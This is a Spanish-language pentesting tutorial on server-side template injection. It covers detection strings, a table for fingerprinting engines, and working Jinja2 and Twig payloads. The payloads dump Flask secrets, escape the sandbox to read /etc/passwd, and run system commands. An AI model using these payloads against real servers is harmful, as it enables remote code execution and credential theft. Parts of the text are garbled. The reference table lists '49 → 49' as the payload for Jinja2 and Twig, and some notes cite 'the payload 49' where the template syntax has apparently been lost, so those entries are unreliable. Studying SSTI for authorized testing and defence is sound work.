SSTI (Server-Side Template Injection)
Un motor de plantillas (template engine) combina plantillas predefinidas con datos generados dinámicamente para producir respuestas dinámicas. Un uso cotidiano es un sitio web con encabezado/pie de página comunes para todas las páginas: la plantilla añade contenido dinámico manteniendo la misma estructura, evitando duplicación de código. Ejemplos populares: Jinja2 y Twig (los más comunes en pentesting), además de Mako, Freemarker, Velocity, Smarty y ERB.
SSTI ocurre cuando la entrada del usuario se concatena directamente dentro de una plantilla antes de que esta se compile/renderice (en vez de pasarse como una simple variable de datos). Esto permite al atacante inyectar sintaxis propia del motor de plantillas, que se evalúa como código durante el renderizado — a diferencia de XSS (que ejecuta en el navegador de la víctima), SSTI ejecuta código en el servidor, por lo que su impacto máximo suele ser RCE directa.
Sintaxis básica de Jinja2
Hello {{ name }}!{% for name in names %}
Hello {{ name }}!
{% endfor %}: imprime el resultado de una expresión.{% %}: ejecuta lógica de control (bucles, condicionales) sin imprimir resultado directamente.
Identificación de SSTI
El proceso es análogo a identificar cualquier otra vulnerabilidad de inyección (como SQLi): inyectar caracteres especiales con significado semántico para el motor de plantillas, y observar el comportamiento de la aplicación (errores, cambios en la respuesta).
Payload de detección universal
Esta cadena contiene caracteres especiales relevantes para la mayoría de los motores de plantillas populares a la vez, generando un error de sintaxis si alguno de ellos procesa la entrada como plantilla:
${{<%[%'"}}%\.Referencia extensa de payloads por motor: https://swisskyrepo.github.io/PayloadsAllTheThings/Server Side Template Injection/
Identificación del motor específico
Una vez confirmado que la aplicación evalúa la entrada como plantilla, se prueba con la sintaxis de cada motor candidato para determinar cuál responde:
# Mako
${"z".join("ab")}
# Jinja2
${{7*7}}
# Twig
${{7*7}}El siguiente payload es especialmente útil para diferenciar entre Jinja2 y Twig cuando ambos parecen aceptar la sintaxis , ya que el comportamiento del operador * con tipos mixtos difiere entre ambos lenguajes subyacentes (Python vs PHP):
{{7*'7'}}- Jinja2 (Python): el resultado es
7777777— Python repite la cadena'7'siete veces al multiplicar un string por un entero. - Twig (PHP): el resultado es
49— PHP realiza coerción de tipos y convierte'7'a entero antes de multiplicar.
Tabla de referencia rápida por motor
| Motor | Lenguaje | Payload de detección |
|---|---|---|
| Jinja2 | Python | 49 → 49 |
| Twig | PHP | 49 → 49 |
| Freemarker | Java | <#assign x=7*7>${x} → 49 |
| Velocity | Java | #set($x=7*7)$x → 49 |
| Smarty | PHP | {7*7} → 49 |
| ERB | Ruby | <%= 7*7 %> → 49 |
| Mako | Python | ${7*7} → 49 |
- Cuando
49devuelve49en vez del texto literal, aún no distingue Jinja2 de Twig — usar el payload49de la sección anterior para esa distinción específica.
Explotando SSTI en Jinja2
Divulgación de información
{{ config.items() }}- En aplicaciones Flask, el objeto
configglobal suele contener claves sensibles (SECRET_KEY, credenciales de base de datos, tokens de API) directamente accesibles desde el contexto de la plantilla.
{{ self.__init__.__globals__.__builtins__ }}- Esta cadena de atributos "escapa" del sandbox de Jinja2 (que normalmente restringe el acceso a objetos Python arbitrarios) navegando por la jerarquía de objetos internos de Python hasta llegar a
__builtins__, que expone funciones nativas comoopen(),eval(),__import__().
Local File Inclusion (LFI)
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}Remote Code Execution (RCE)
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}Payloads alternativos de RCE (cuando self no está disponible en el contexto)
Algunas rutas de escape del sandbox no dependen del objeto self, útiles cuando el contexto de renderizado es más restringido:
{{ ''.__class__.__mro__[1].__subclasses__() }}- Esto lista todas las subclases de
objectcargadas en el proceso Python — entre ellas suele encontrarse alguna que permita ejecución de comandos indirectamente (por ejemplo, clases relacionadas consubprocess.Popen), identificable por su índice en la lista resultante.
{{ cycler.__init__.__globals__.os.popen('id').read() }}cycleres un objeto interno de Jinja2 (usado normalmente para alternar clases CSS en bucles{% for %}) que, en ciertas versiones, expone acceso a__globals__de forma más directa queself.
Explotando SSTI en Twig
Divulgación de información
{{ _self }}_selfes una variable especial de Twig que hace referencia al propio objeto de la plantilla en ejecución — su representación puede revelar información sobre la estructura interna de la aplicación.
Local File Inclusion (LFI)
{{ "/etc/passwd"|file_excerpt(1,-1) }}- Requiere que el filtro
file_excerptesté disponible (proviene de una extensión específica, no del core de Twig) — si no está disponible, buscar filtros equivalentes según las extensiones instaladas en la aplicación objetivo.
Remote Code Execution (RCE)
{{ ['id'] | filter('system') }}- Abusa del filtro
filter()de Twig, que normalmente se usa para aplicar una función a cada elemento de un array — al pasarle'system'(la función PHP de ejecución de comandos) como filtro, se ejecuta sobre el elemento'id'del array, resultando ensystem('id').
Variante alternativa usando map():
{{ ['id'] | map('system') }}Referencia completa: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server Side Template Injection/README.md
Notas de metodología
- Confirmar primero que la vulnerabilidad es SSTI y no simplemente XSS: si el payload
49se refleja literalmente sin evaluarse, probablemente sea XSS (el navegador nunca procesacomo código); si se refleja como49, es SSTI confirmado (el servidor evaluó la expresión antes de enviar la respuesta). - El impacto de SSTI casi siempre escala a RCE completa — a diferencia de XSS (limitado al navegador de la víctima) o SQLi (limitado a la base de datos), SSTI ejecuta directamente en el proceso del servidor de aplicación.
- Cuando el sandbox del motor bloquea las rutas de escape estándar mostradas aquí,
PayloadsAllTheThingsmantiene una colección extensa de bypasses específicos por versión de cada motor — vale la pena consultarlo directamente cuando los payloads básicos fallan.